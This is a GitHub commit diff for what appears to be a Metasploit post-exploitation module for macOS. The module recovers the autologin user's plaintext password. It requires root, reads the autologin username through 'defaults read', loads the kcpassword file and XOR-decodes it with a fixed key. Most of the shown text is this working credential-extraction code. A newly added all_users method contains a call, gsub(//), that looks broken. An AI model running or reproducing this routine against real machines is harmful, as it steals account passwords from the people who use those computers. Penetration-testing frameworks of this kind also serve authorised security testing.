Skip to content

Commit 3066e62

Browse files
committed
Fix typo, fix no-autologin users bug.
1 parent 4cb788b commit 3066e62

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

modules/post/osx/gather/autologin_password.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -38,22 +38,24 @@ def initialize(info={})
3838
def run
3939
# ensure the user is root (or can read the kcpassword)
4040
if not user == 'root'
41-
fail_with "Root privileges required to read kcpassword"
41+
fail_with "Root privileges are required to read kcpassword file"
4242
end
4343

4444
# read the autologin account from prefs plist
45-
autouser = cmd_exec('defaults read /Library/Preferences/com.apple.loginwindow "autoLoginUser" "username"')
45+
read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username"
46+
autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")
47+
4648
if autouser.present?
4749
print_status "User #{autouser} has autologin enabled, decoding password..."
4850
else
49-
fail_with "No users on this machine have autologin enabled."
51+
fail_with "No users on this machine have autologin enabled"
5052
end
5153

5254
# kcpass contains the XOR'd bytes
5355
kcpass = read_file(kcpassword_path)
5456
key = AUTOLOGIN_XOR_KEY
5557

56-
# decoding routing, slices into 11 byte chunks and XOR's each chunk
58+
# decoding routine, slices into 11 byte chunks and XOR's each chunk
5759
decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc|
5860
kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join
5961
end.join.sub(/\x00.*$/, '')
@@ -78,4 +80,8 @@ def kcpassword_path
7880
def user
7981
@user ||= cmd_exec('whoami').chomp
8082
end
83+
84+
def all_users
85+
cmd_exec('ls /Users').gsub(//)
86+
end
8187
end

0 commit comments

Comments
 (0)